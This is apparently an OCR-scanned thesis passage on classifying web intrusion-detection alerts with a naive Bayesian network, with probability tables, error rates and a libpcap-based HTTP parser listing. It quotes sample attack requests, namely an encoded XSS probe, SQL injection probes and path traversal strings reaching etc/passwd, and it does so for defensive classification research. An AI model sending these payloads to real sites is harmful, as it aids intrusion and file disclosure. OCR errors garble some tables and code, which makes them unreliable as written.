other 0.1 0.014 0.456 0 0.285 0.029 0.043 0 0 0 0 0 0.071

Table. Probability Distribution Table for maximum parameter length
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Apparently, in the dataset used for learning, almost no reconnaissance attack or scan has a
maximum parameter length from 28 to 46. The probability displayed is 0, but in fact is 0.000175.
A low probability for certain values of course is possible, but in this case plenty of alerts have a
maximum parameter length just below or above that value. It does not seem very realistic that
that would be a real-world distribution for the maximum parameter length. If, with this Bayesian
network model, an alert would occur with a parameter length within that range, it would
probably not be classified as a scan. A solution could be to raise the overall initial count that is
used to prevent zero values in the probability tables. However, this would decrease the overall
performance of the network. The solution chosen is to merge columns with a small range,
because that is a typical example of overfitting unless a very good reason for that can be found. If
the merged columns still show an unnatural distribution that cannot be explained from the real
world those probability values will be distributed more fluently. The result for the probability
distribution table is displayed below.

attackclass '(-inf-28])' '(28-45.5)' '(45.5-90.5)" '(90.5-100.5)' |'(100.5-139.5])'|'(139.5-204)' |'(204-235.5)' |'(235.5-282.5])' |'(282.5-inf)'
XSS 0 0.001 0.006 0.544 0.145 0.166 0.044 0.047 0.047]
0 0.141 0.02 0.55 0.1 0.13 0.04 0.011 0.008
pathtraversal 0.005 0.01 0.01 0.67 0.137 0.054 0.023 0.023 0.068]
0.568 0.02 0.17 0.053 0.139 0.018 0.005 0.005 0.022
other 0.1 0.02 0.45 0.285 0.03 0.013 0.013 0.013 0.076

Table. Adapted Probability Distribution Table for maximum parameter length

Adapting the table will lower the performance for the training data, but the aim is to prevent
unreasonable misclassifications in new events, so in the operation of the Bayesian classifier.

For similar reasons the PDT is adapted for HTTP status response code. Here, return codes above
200 were not present for Path Traversal, which is not realistic. A Path Traversal can also result in
for example a 403 Forbidden, or 404 Not Found.

attackclass '(-inf-250.5)' '(250.5-403....|'(403.5-inf)' attackclass '(-inf-250.5)' '(250.5-403.5)' | '(403.5-inf)’
XSS 0.997 0 0.003 XSS 0.97 0.015 0.015
0.972 0 0.028 0.96 0.015 0.025
pathtraversal 1 0 0 pathtraversal 0.96 0.02 0.02
0.123 0.421 0.456 0.123 0.421 0.456
other 0.5 0.057 0.443 other 0.5 0.057 0.443

Table. Original vs. Adapted PDT for HTTP response code

The PDT’s for the total URL length and extra URL encodings are similar to the parameter length
PDT. The PDT’s are rather detailed, and have probabilities of almost zero for values that could
very well happen in the real world. Again to prevent overfitting on the learning data, columns are
merged and probability values are distributed more fluently where needed. In the original table
for extra URL encodings for example, a separate column exists for exactly 10 encodings. This is a
clear sign of overfitting and the column is merged with the previous range. The next columns are
also combined and some zero approximations are replaced by slightly higher and more realistic
values. The same is done for the PDT of URL length.

attackclass '(-inf-0.5)' '(0.5-1.5)" '(1.5-5.5)" '(5.5-9.5)" '(9.5-10.5)" '(10.5-13.5)" '(13.5-14.5)' |'(14.5-137)' |'(137-inf)'
Xss 0.227 0 0.102 0.282 0.093 0.148 0.012 0.134 0.003
0.223 0.078 0.358 0.097 0 0.074 0.159 0.012 0
pathtraversal 0.006 0.551 0.208 0.187 0.006 0.013 0.002 0.009 0.017
0.999 0 0 0 0 0 0 0 0
other 0.685 0 0.285 0.014 0 0 0 0.014 0
attackclass '(-inf-0.5)' '(0.5-1.5)' '(1.5-5.5)" '(5.5-10.5)' '(10.5-14.5)" '(14.5-137)" '(137-inf)’
Xss 0.22 0.005 0.102 0.376 0.16 0.134 0.003
0.223 0.078 0.358 0.097 0.231 0.012 0.001
pathtraversal 0.006 0.551 0.208 0.193 0.015 0.009 0.018
0.999 0 0 0 0 0 0
other 0.68 0.01 0.28 0.014 0.005 0.01 0.001

Table. Original vs. Adapted PDT for Extra URL encodings
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attackclass '(-inf-44)' '(44-85.5)" '(85.5-86.5)' |'(86.5-89.5)' '(89.5-91.5)' '(91.5-179.5)' '(179.5-652]' '(652-inf)’'
XSS 0.003 0.052 0.009 0.02 0.238 0.398 0.273 0.006
0.004 0.247 0.163 0.028 0.463 0.089 0.006 0
pathtraversal 0 0.3 0.006 0.041 0.004 0.491 0.114 0.043
0.981 0 0 0 0.018 0 0 0
other 0.286 0.114 0 0.014 0.029 0.243 0.314 0
attackclass '(-inf-44])' '(44-85.5)" '(85.5-91.5)" '(91.5-179.... '(179.5-652])" '(652-inf)’
XSS 0.003 0.052 0.268 0.398 0.273 0.006
0.004 0.247 0.654 0.089 0.006 0
pathtraversal 0.004 0.3 0.051 0.491 0.114 0.04
0.979 0.001 0.018 0.001 0.001 0
other 0.286 0.114 0.043 0.243 0.314 0.001

Table. Original vs. Adapted PDT for URL length

7.4.3. Testing with the adapted probability distributions

To find out the consequences of the adaptions, the data set has to be tested with the adapted
attack class distribution and adapted probability distributions. In the weka workbench it is
possible to see and adapt the Bayesian network with the Bayes net editor. However, the changed
model cannot be reused for testing directly in the weka GUIL Therefore a self-written
implementation of the Bayesian classifier is coded that reads the exported model from weka and
calculates predictions and overall performance metrics from a test set. If we use the first dataset
and run it as test data with the adapted model, the following results are obtained. It shows that
results have not changed a lot from the adaptions made. XSS, SQL injection and Path Traversal
classes performed a little worse, but Reconnaissance and other attacks were predicted even
better with the adapted model.

Attack class TP rate FP rate
XSS 94.4% 0.1%
SQL injection 99.0% 0.7%
Path Traversal 99.7% 0.3%
Reconnaissance | 92.9% 0.9%
Other 78.5% 0.9%
Overall 96.9% 0.5%

Table. TP/FP rates with adapted probability distributions

7.5. Introducing a threshold

A way of predicting whether minor fluctuations in the learning data are exaggerated too much in
an overfitted model, might be to test whether the predictions of the model are very certain or if
there are a lot of close calls, improving the performance on a lucky basis. If these ‘lucky shots’ are
taken out of the TP result rate, the rate will drop and this could be a better estimate of the
predictive quality of the network in practice. Also, and more important for an implementation of
the Bayesian classification in practice, if such a threshold margin is applied in practice, the
number of incorrectly classified alerts will be lower. If the calculated probability for the
predicted class is below a pre-defined threshold, the output to the user can be presented with a
warning that the correctness of the outcome is uncertain. Assuming that the confidence of the
model in an incorrectly classified alert will often be lower than for correctly classified alerts,
introducing this threshold could improve on the misclassifications rate a lot. Below, the number
of correct predictions and the misclassification rate is listed for different estimation probability-
or “lucky guess”-thresholds.

Required #events below certainty Resulting TP rate | Total FP | Average FP
Estimation | level. Displayed is: (Correct rate rate per
Certainty #events (correct/incorrect) | estimates) class

>95% 116 (85/31) 91.0% 0.9% 0.1%

>90% 92 (65/27) 92.4% 1.2% 0.2%

>80% 53 (28/25) 95.0% 1.3% 0.2%

Table. TP/FP rates with “lucky guess”-threshold
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This means, that if we would use a model where not only the attack class is chosen with the
highest probability, but we would not accept guesses below an estimation certainty of 90%, then
the TP rate would become 92.4% with our dataset instead of our result of 96.9%.

Also, with this threshold, the total FP or misclassification rate would go down from 3.1% to 1.2%,
which is a welcome improvement. The exact number of misclassifications per class is shown
below. For example, no XSS estimates are incorrect and only 5 SQL injection estimates are
incorrect.

Estimate: | XSS SQLi PT Recon. Other
Class: TP-rate | FP-rate
XSS 322 5 2 0 0 0.978 0.000
SQL injection 0 462 0 0 0 1.000 0.003
Path Traversal 0 0 462 0 0 1.000 0.001
Reconnaissance | 0 0 0 43 0 1.000 0.006
Other 0 0 0 10 42 0.807 0.000

Table. (Mis)classifications per attack class with the use of a threshold of 90%

In total only 17 out of the 1440 alerts will be misclassified, but for 92 alerts it is concluded that
classification is uncertain. Of these uncertain guesses, 65 are correct and 27 are incorrect. So,
introducing a threshold would improve on the misclassification rate considerably, although the
TP rate would be lower as well.

7.6. DATASET 2

Another way to test the classifier completely independent of the training data is by using a new,
independend data set. Even though cross-validation is used in the training set, all validation and
testing is done within the same larger data set. Introducing new samples, and testing these with
the earlier established classifier will be a good test for independed performance of the model and
possible overfitting.

7.6.1. Analysis

The second dataset is tested with the Bayesian model with adapted propability distributions and
no threshold. The overall TP-rate of 94.2% is not as good as with the first dataset, but still ok.
However, the performance of the different classes is very diverse as can be seen in the table
below. Especially the TP-rate for Path Traversal attacks is unexpectedly low.

Attack class TP rate FP rate
XSS 99.1% 0.1%
SQL injection 94.4% 0.7%
Path Traversal 72.0% 0.0%
Reconnaissance | 59.4% 0.3%
Other 75.0% 4.6%
Weighted avg. 94.2% 0.8%

Table. TP/FP rates for second dataset

XSS performs very well with a 99.1% TP-rate and only 0.1% FP-rate, which means that only 2
alerts where misclassified as XSS. The performance of XSS is much higher than with the first
dataset (94.4%) that was also used for learning. SQL injection has opposite performance results
when comparing dataset 1 and dataset 2 results. With dataset 2 a TP-rate of 94.4% is achieved
which was 99% with dataset 1. The attack class of Path Traversal attempts has a low score with a
TP-rate of only 72%, and the classes with a less clearer definition, Reconnaissance and Other,
only score a TP-rate of respectively 59.5% and 75%. To be able to analyse this in more detail the
classifications are displayed below.
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Estimate: | XSS SQLi PT Recon. Other
Class: TP-rate | FP-rate
XSS 1235 8 0 0 3 0.991 0.001
SQL injection 0 171 1 3 6 0.944 0.007
Path Traversal 0 0 155 3 57 0.720 0.000
Reconnaissance | 1 2 0 22 12 0.594 0.003
Other 1 2 0 0 9 0.750 0.046

Table. Detailed alert classifications of dataset 2

In each class the misclassifications can be analysed to be able to conclude why these alerts are
misclassified.

XSS misclassifications

Of the 1246 alerts that were labelled as XSS, 11 were misclassified. 8 were misclassified as SQL
injection, and 3 as Other. Most SQL injection classifications, 7 out of 8, come from a consecutive
series of test patterns where each alert was based on multiple HTTP GET requests were XSS
attacks were hidden in URI request parameters or in header values. An example request:

GET /index.php/Speciaal:Zoeken?search=pindakaas&
go=eval('%5C141%5C154%5C145%5C162%5C164%5C50%5C61%5C51") HTTP/1.1

During the process of extracting features the relevant request parameter is decoded in two steps.
First the URL encoded characters are decoded, then the resulting hex encoded characters are
decoded:

eval("\x61\x6c\x65\x72\x74(1)")
eval('alert(1)")

What is noted is that this attempt has the typical javascript alert() method, often used in search
for XSS vulnerabilities. However, it misses any HTML tags such as <script> tags to make this
attack potentially successful. With no feature score on malicious tags the calculated probability
that this is a XSS attack drops, leading to a misclassification. The misclassifications of Other have
the same problem, but calculation came out on Other because of other feature values.

With a threshold, 7 out of the 11 misclassifications would be labelled as uncertain.

SQL injection misclassifications
Of the 181 alerts that were labelled as SQL injection, 10 were misclassified. 6 were misclassified
as Other, 3 as Reconnaissance, and 1 as Path Traversal. Examples of misclassified alerts:

GET /index.php/Speciaal:Zoeken?
search=%261t%3B%26gt%3B%26quot%3B%27%25%3B%29%28%26amp%3B%2B&go=0K HTTP/1.1

GET /index.php/Speciaal:Zoeken?search=*%7C&go=0K HTTP/1.1

GET /index.php?feed=rss&title=Speciaal:RecenteWijzigingen+AND+1=2 HTTP/1.1

The first two payloads are decoded as <>"'%;)(&+ and *| which are not your typical SQL injection
attempts, but an injection of special characters, probably to see if this has any effect such as an
error returned by the handling of the resulting SQL query. However, these inputs do not give any
score in the feature extraction process, leading to the misclassifications.

The ‘AND 1=2’ value cannot result in a SQL tautology because it logically evaluates to False, also
leading to a misclassification.

With a threshold, 6 out of the 10 misclassifications would be labelled as uncertain.

Path Traversal misclassifications

Of the 215 alerts that were labelled as Path Traversal, 60 were misclassified, which is a lot, 28%
to be more exact. 57 were misclassified as Other, and 3 as Reconnaissance. To be able to
understand the reason for misclassification the Bayesian probability calculation is studied for a
correctly classified instance and a misclassified instance.

The request for the correctly classified instance is:

GET /index.php?title=../../../../..[ ./ ./ ./ ../ ./ etc/passwd%00&feed=rss HTTP/1.1
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The request for the misclassified instance is:

GET /index.php?title=Speciaal:RecenteWijzigingen&
feed=//..%255¢..%255¢..%255¢..%255¢..%255¢..%255¢..%255¢..%255..%255..%255cetc/passwd HTTP/1.1

Which is decoded in the feature extraction process to:

feed=//..\..\..\.:\.:\.:\..\..%5..%5..\ etc/passwd

The misclassified instance is clearly a Path Traversal attempt, so it is strange that it is
misclassified as another attack. In the table below the Bayesian calculations are displayed based
on the extracted feature values with probabilities used for the event’s values and intermediate
results in the calculations.

The misclassification estimate is in -, the non-determining feature values are .
determining features are marked in yellow, and the typical Path Traversal score is marked in

green.

Classification Correctly Classified as Path Traversal Misclassified as Other

Feature values 69,0,0,0,106,0,0,0,0,1.1,200,0,0,109 130,0,0,0,106,0,0,0,0,1.1,500,0,0,134

Probability XSS sqli pt scan  other XSS sqli pt scan  other

estimates per class | 0.000 0.000 0.926 0.000 0.072 0.000 0.000 0322 0.006 [GHH |
PT calculation Other calculation PT calculation Other calculation

Urllength 0.3 0.114 0.491 0.243

Urlencodings *0.0060=0.00180 *0.68=0.07752 *0.0060=0.00294 *0.68=0.16524

Unicode *0.81758=0.00147 | *0.99985=0.07750 *0.81758=0.00240 | *0.99985=0.16521

Hexcodes *0.94204=0.00138 | *0.99985=0.07749 *0.94204=0.00226 | *0.99985=0.16519

Maxparamlength *0.137=0.00018 *0.03=0.00232 *0.137=0.00031 *0.03=0.00495

Maltags

Susppatterns

Malmethods

Maleventhandlers

Httpversion *0.99995=0.00018 | *0.88547=0.00194 *0.99995=0.00031 | *0.88547=0.00413

Statuscode *0.96=0.00017 *0.49992=0.00097 *0.02=0.00001 *0.44281=0.00183

Tautologies

Sqlqueries

Pathtraversals *0.97420=0.00016 | *0.04298=0.00004 *0.97420=0.00001 | *0.04298=0.00007

Table. Probability calculations of correctly vs. incorrectly classified Path Traversal attack

What becomes clear when viewing the detailed calculation is that the Path Traversal feature
value cannot make up for the returned status code probability used. Remember that the
Probability Distribution Table for the returned status code was already adapted on non-2xx
values, because the learning data caused no or hardly any error return codes. In dataset 2
however, 67 Path Traversal attempts generated an HTTP error value of 404 or 500, causing all
Path Traversal misclassifications.

As a test we set the probability for a higher return code to 10% in the PDT for status return code.
As described earlier in this chapter, the PDT for error return code has three columns with value
ranges (0-250.5], (250.0-403.], (403.5-00). When testing dataset 2 with this change gives a much
better performance as can be viewed in the table below.

Estimate: | XSS SQLi PT Recon. Other

Class: TP-rate | FP-rate

XSS 1235 8 0 0 3 0.991 0.001

SQL injection 0 171 1 3 6 0.944 0.007

Path Traversal 0 0 203 3 9 0.994 0.000

Reconnaissance | 1 2 0 22 12 0.594 0.003

Other 1 2 0 0 9 0.750 0.017
Avg. | 0.970 0.004

Table. Improved results of dataset 2 when changing the PDT of returned status code

Now the overall performance increases to a TP-rate of 97%, with only effects on the problem at
hand. TP-rate for Path Traversal attacks increases to 99.4%, and only 12 alerts will be
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misclassified any more. Note that of course, tweaking probabilities for one dataset is very risky
and does not guarantee any general improvement for the model in the real world, but the
improvement here is remarkable nonetheless. In fact, this tweaking would be very similar to
what incremental learning would do to the probability distribution table, so the adaptation
seems justified. If incremental learning would be used, probabilities are updated with new
events. If, in this case, a larger relative part of Path Traversal attacks does receive response error
codes, the PDT’s would gradually adapt to this ‘new situation’. Note that in the case of
misclassifications the attack class values will have to be corrected manually by an operator in
order to improve the model.

Reconnaissance and Other misclassifications

In the two classes of Reconnaissance and Other attacks the second dataset is not classified very
well. There is no need to analyse individual misclassifications, because this result merely shows
what is expected; To be able to classify alerts, clear class definitions of attacks are needed. Both
Reconnaissance and Other attacks consist of so many different types of attacks or malicious
attempts that these alerts cannot be recognized from one class definition.

7.6.2. Threshold
The second data set can also be tested with a threshold. The resulting performance is displayed
in the table below.

Required #events below certainty Resulting TP rate | Total Average FP
Estimation | level. Displayed is: (Correct guesses) | FP rate rate per
Certainty #events (correct/incorrect) class

>95% 288 (199/89) 82.4% 0.6% 0.1%

>90% 155 (70/85) 90.0% 0.9% 0.1%

>80% 131 (56/75) 90.8% 1.4% 0.2%

Table. TP/FP rates for second dataset with threshold

With a threshold of 90% 155, which is over 9% of all alerts, will be presented as uncertain
classifications of which over half would be incorrect. Overall the alerts that then would be
classified correctly would be 90% and 0.9%, or 14 alerts would be misclassified. For a more
detailed view on the misclassifications the results are displayed in more detail below.

Estimate: | XSS SQLi PT Recon. Other

Class: TP-rate | FP-rate

XSS 1229 4 0 0 3 0.991 0.001

SQL injection 0 122 0 0 0 0.994 0.007

Path Traversal 0 0 146 0 1 0.994 0.000

Reconnaissance | 0 0 0 18 8 0.594 0.003

Other 0 1 0 0 7 0.750 0.017
Avg. | 0.900 0.009

In the three well-defined attack classes the total number of misclassifications would go down to 8
out of 1642 alerts, with a TP-rate of over 99% for all three classes. The classification performance
of the two somewhat vaguer defined classes remains low with TP-rates of 59.4% and 75% for
Reconnaissance and Other attacks respectively.
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8. Conclusions

The overall performance of the Bayesian network on a first dataset, using the selected features
for four attack classes (XSS, SQLi, Path Traversal, Reconnaissance) and a category of all
remaining attacks, has a TP rate of 96.9% with an average FP rate per class of 0.9%, or total
misclassification rate of 3.1%. For the well defined attack classes XSS, SQLi and Path Traversal,
the average performance is good or very good with TP rates of respectively 95.3%, 99.4% and
99.6% and FP rates of 0.4%, 1.1%, 0.3%. These results are achieved with a dataset of 1440
attacks with ten-fold cross validation. After removing features that were not contributing to the
performance, a Bayesian classifier was built on 14 attack features.

After adapting the Bayesian network slightly for unrealistic test distributions the attack class
distribution was set to a more realistic distribution and the Probability Distribution Tables for
four of the nodes were simplified to prevent overfitting. Also, unrealistically low probability
values for ranges of feature values were increased a bit without influencing the learned network
too much. With these changes the performance of the network remained stable and individual
attack class TP/FP rates did not deteriorate.

To prevent misclassifications a threshold is introduced where an alert classification is presented
as uncertain if the probability of the estimated class is below the threshold. If the threshold is set
to 90%, meaning that the network must be at least 90% sure before a guess is accepted, the
overall TP rate is still 92.4%, but the total FP or misclassification rate drops from 3.1% to 1.2%,
which is a welcome improvement because it would mean that out of 1440 alerts, only 17 would
be misclassified.

First results with the second dataset using the Bayesian model that was learned from the first
dataset were a bit less impressive. Overall performance of 94.2% was still good, but only the
classes for XSS and SQL injection performed well with respectively a 99.1% and 94.4% TP-rate.
Path Traversal only scores a 72% TP-rate, but this can be addressed to the fact that in dataset 1
all PT attempts had a HTTP return code of 200. In dataset 2 however, 67 PT attempts generated
an error code. If probabilities for the error return code PDT would be changed a bit as if
incremental learning was used, the TP-rate for Path Traversal attacks would climb to 99.4%
giving an overall weighted TP-rate of 97%.

Using a threshold on dataset 2 has a similar effect as with dataset 1. The TP-rate would go down
to 90%, but only 14 alerts out of a total of 1691 alerts would be misclassified. In operational
security monitoring it will be preferable to present “unsure how to classify this alert” to the
operator over having a rather high misclassification rate. The classification result can then still be
presented to the user as a best guess, leaving the final decision up to the operator. Also, with any
manual overrides, the Bayesian network probability tables can be refined automatically and
continuously through incremental learning, resulting in a self-improving system.

The experimental results show that it might very well be possible to classify anomalies with a
high TP rate and a low misclassification rate, using simple features and a self-learning Naive
Bayesian network. A TP-rate of over 90%, as formulated in the research goal, might be achievable
in practice for any well-defined attack class. A FP-rate of 1% or less might even be achievable by
using a threshold.

Future research could be to define a full set of clearly scoped attack classes and to implement the
Bayesian classifier in an operational situation. A possible improvement on classification can be
achieved by integrating anomaly details from the IDS such as in what part of the data the
anomaly was detected exactly. This could make the feature extraction more precise, possibly
improving the results. What has not been tested yet in this experiment is how the model reacts
on false positives from the IDS. Classification of alerts that later turn out to be false positives can
be confusing, so maybe classification should be presented as a guess until approved by an
operator. The effects of incremental learning would also be interesting to study. For the eventual
quality of the Bayesian network with incremental learning it should be studied how the model
stabilizes after a longer period of incremental learning.
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Appendix A. HTTP parser source code

7 kskskskokokokokokskokskskskskskokokokokokokokokokoskskskskskskskskskskskkskskskskksksk sk sk sk skskskskskskoksksk sk sk sk sk sk sk sk skokokokokokokokokokokok
* http_parser.c
author: Casper Schellekens

Tool to parse http message parts request-/responseline, header(s),
message body.

This program is based on a tcpdump's demo program of TCP/IP packet
capture using libpcap. Below the copyright terms to reuse this source
code.

X X X X X X X ¥
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*
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sniffex.c
Sniffer example of TCP/IP packet capture using libpcap.

2005-07-05)

Version 0.1.1 (
(c) 2005 The Tcpdump Group

Copyright

This software is intended to be used as a practical example and
demonstration of the libpcap library; available at:
http://www.tcpdump.org/

X X K X X X X X X X X ¥

kokkskokkskokkokokkokokokkokskkokokskokokskkokkkokkkokkkokkkokkkokkkkokkokok sk kok sk kok sk kokkkokkkokkskok sk skokokkokok sk k

*

This software is a modification of Tim Carstens' "sniffer.c"
demonstration source code, released as follows:

sniffer.c

Copyright (c) 2002 Tim Carstens
2002-01-07

Demonstration of using libpcap
timcarst -at- yahoo -dot- com

"sniffer.c" is distributed under these terms:

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions

are met:

1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

4. The name "Tim Carstens" may not be used to endorse or promote
products derived from this software without prior written permission

THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS " “AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. 1IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.

<end of "sniffer.c" terms>

XX K X X X X X X KX X X H XX XXX XXXX,XXXXX XXX XXX XX
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This software, "sniffex.c", is a derivative work of '"sniffer.c" and is
covered by the following terms:

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions

are met:

1. Because this is a derivative work, you must comply with the
"sniffer.c" terms reproduced above.

2. Redistributions of source code must retain the Tcpdump Group copyright
notice at the top of this source file, this list of conditions and the
following disclaimer.

3. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

4. The names "tcpdump" or "libpcap" may not be used to endorse or promote
products derived from this software without prior written permission.

THERE IS ABSOLUTELY NO WARRANTY FOR THIS PROGRAM.

BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY

FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE
ENTIRE RISK AS

TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR
DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL
DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING
BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR
LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO
OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS
BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

<end of "sniffex.c" terms>
sokskskskskokskskskokskokokskskskskokskskskskskskokskskskskskokskskskskskokskoskskskskskokskskskskokskskskskskskokskokskokskokokokskokskoskokokok /

XK X K K ¥ X X XXX XXX XXX XXXKXXX XXX XXX XN X XXXXXXXX

#define APP_NAME "http_parser, based on sniffex"

#define APP_DESC "Sniffer example using libpcap"

#define APP_COPYRIGHT "Copyright (c) 2005 The Tcpdump Group"
#define APP_DISCLAIMER "THERE IS ABSOLUTELY NO WARRANTY FOR THIS
PROGRAM, "

#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* capture live or offline from pcap file x/
#define PCAP_LIVE 1
#define PCAP_OFFLINE 2

/* default snap length (maximum bytes per packet to capture) x/
#define SNAP_LEN 1518

/% ethernet headers are always exactly 14 bytes [1] %/
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#define SIZE_ETHERNET 14

/* Ethernet addresses are 6 bytes x/
#define ETHER_ADDR_LEN 6

/*x Ethernet header x/
struct sniff_ethernet {
u_char ether_dhost[ETHER_ADDR_LEN];
*/
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
Y

/* IP header *x/
struct sniff_ip {

/* destination host address

/* source host address x/
/*x IP? ARP? RARP? etc x/

u_char 1ip_vhl; /* version << 4 | header length >> 2
*/
u_char 1ip_tos; /* type of service x/
u_short ip_len; /* total length x/
u_short ip_id; /* identification x/
u_short ip_off; /* fragment offset field x/
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag x/
#define IP_MF 0x2000 /* more fragments flag *x/
#define IP_OFFMASK Ox1fff /* mask for fragmenting bits x/
u_char ip_ttl; /* time to live x/
u_char 1ip_p; /% protocol *x/
u_short ip_sum; /* checksum x/
struct in_addr ip_src,ip_dst; /* source and dest address */
Y
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)-=>ip_vhl) >> 4)

/*x TCP header x/
typedef u_int tcp_seq;

struct sniff_tcp {

u_short th_sport; /% source port x/

u_short th_dport; /* destination port x/

tcp_seq th_seq; /* sequence number x/

tcp_seq th_ack; /* acknowledgement number *x/

u_char th_offx2; /* data offset, rsvd x/
#define TH_OFF(th) (((th)->th_offx2 & 0xf@) >> 4)

u_char th_flags;

#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80

#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)

u_short th_win; /* window x/
u_short th_sum; /* checksum x/
u_short th_urp; /% urgent pointer x/

};

/* HTTP message definitions */
#define NO_HTTP 0O
#define HTTP_REQ 1
#define HTTP_RES 2

#define NO_REQLINE 0
#define REQLINE 1
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#define FALSE 0
#define TRUE 1

/* pcap file to be read */
char xpcapfile = NULL;

/* function declarations %/

/* check_http and parse_http are by author C.Schellekens */

/* got_packet is by sniffex author and slightly adapted by C.Schellekens x/
/* print_payload, print_hex_ascii_line, print_app_banner, print_app_usage x/
/* are from author sniffex.c %/

int
check_http(const char xpayload, int len);

void
parse_http(const char xpayload, int len, int type);

void
got_packet(u_char xargs, const struct pcap_pkthdr xheader, const u_char
xpacket);

void
print_payload(const u_char xpayload, int len);

void
print_hex_ascii_line(const u_char xpayload, int len, int offset);

void
print_app_banner(void);

void
print_app_usage(void);

/%

* app name/banner

*/

void
print_app_banner(void)

printf("%ss — %s\n", APP_NAME, APP_DESC);
printf("%s\n", APP_COPYRIGHT);
printf("%s\n", APP_DISCLAIMER);
printf("\n");

return;

}

/%

* print help text

*/

void

print_app_usage(void)

{
printf("Usage: %s [interfacel\n", APP_NAME);
printf("\n");
printf("Optlons \n");
printf(" interface Listen on <interface> for packets.\n");
printf("\n");

return;

}
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/%

* print data in rows of 16 bytes: offset hex ascii

*

*x 00000 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 @d @a  GET /
HTTP/1.1..

*/

void

print_hex_ascii_line(const u_char xpayload, int len, int offset)

{

int 1i;
int gap;
const u_char xch;

/*x offset x/
printf("%05d ", offset);

/* hex x/
ch = payload;
for(i = 0; i < len; i++) {
printf("%02x ", *ch);
ch++;
/* print extra space after 8th byte for visual aid */
if (i ==17)
printf(" ");
}

/* print space to handle line less than 8 bytes *x/
if (len < 8)
printf(" ");

/* fill hex gap with spaces if not full line */
if (len < 16) {
gap = 16 - len;
for (i = 0; i < gap; i++) {
printf(" ");
}

}
printf(" ")

/* ascii (if printable) x/
ch = payload;
for(i = 0; i < len; i++) {
if (isprint(xch))
printf("sc", *ch);
else
printf(".");
ch++;

}
printf("\n");

return;

b

/%

* print packet payload data (avoid printing binary data)
*/

void

print_payload(const u_char xpayload, int len)

int len_rem = len;

int line_width = 16; /* number of bytes per line %/

int line_len;

int offset = 0; /* zero-based offset counter x/
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const u_char xch = payload;

if (len <= 0)
return;

/* data fits on one line x/

if (len <= line_width) {
print_hex_ascii_line(ch, len, offset);
return;

b

/* data spans multiple lines *x/
for ( ;5 ) {
/* compute current line length x/
line_len = line_width % len_rem;
/* print line */
print_hex_ascii_line(ch, line_len, offset);
/* compute total remaining */
len_rem = len_rem - line_len;
/* shift pointer to remaining bytes to print */
ch = ch + line_len;
/* add offset *x/
offset = offset + line_width;
/* check if we have line width chars or less *x/
if (len_rem <= line_width) {
/* print last line and get out */
print_hex_ascii_line(ch, len_rem, offset);

break;
}
}
return;
}
/%
* dissect/print packet
*/
void
got_packet(u_char xargs, const struct pcap_pkthdr xheader, const u_char
xpacket)
{
static int count = 1; /* packet counter x/

/* declare pointers to packet headers x/

const struct sniff_ethernet xethernet; /x The ethernet header [1] x/

const struct sniff_ip *ip; /* The IP header x/
